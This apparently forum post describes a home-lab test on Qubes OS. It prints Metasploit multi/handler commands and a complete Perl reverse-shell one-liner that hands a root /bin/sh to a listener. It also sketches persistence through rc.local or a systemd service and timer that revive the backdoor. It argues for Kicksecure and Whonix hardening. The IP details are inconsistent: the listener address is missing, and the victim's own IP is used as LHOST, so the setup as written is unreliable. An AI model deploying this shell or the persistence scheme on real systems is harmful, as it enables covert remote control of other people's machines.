Good news, I managed to set up a Kali Linux VM on another PC on the same network as an AppVM running Debian 13 XFCE template, using a USB network adapter and this tutorial:
It worked perfectly… with fedora default template probably will work!
The IP address of my Kali Linux VM running msfconsole and Metasploit, used as the reverse-shell listener, was:
Creating a backdoor listener on the Kali VM with Metasploit using a Perl payload
The IP address of the Qubes AppVM was 10.50.0.193 in this case. I entered it into the Kali Linux handler, which was on the same network:
use exploit/multi/handler
set PAYLOAD cmd/unix/reverse_perl
set LHOST 10.50.0.193
set LPORT 4444
run
In the AppVM with the Debian 13 XFCE template, I ran the following command in a terminal:
perl -e 'use Socket;$i="10.50.0.193";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
On Kali, the session opened in Metasploit, and I obtained a shell:
whoami
root
It worked… Now, all that would be needed would be to write code to /rw/config/rc.local and copy a malicious script or binary to /rw/config; then, on every restart, the backdoor could be reactivated!
If /rw/config/rc.local fails with only this Perl command, we could create a service and a .timer that repeatedly checks whether the backdoor is active and reactivates it if it is down, so that the listener can always access the reverse shell—or to prevent a failure in the service that creates the reverse shell from being resolved by having the timer check and execute this command through the service!
It does not work on Kicksecure 18 and Whonix Workstation 18 because of the hardening.
That is why I think it is very dangerous to use AppVMs with these standard templates, and that the ideal approach is always to use Kicksecure 18 and Whonix Workstation 18 because of their hardening! It is an exceptional layer of security, wouldn’t you agree?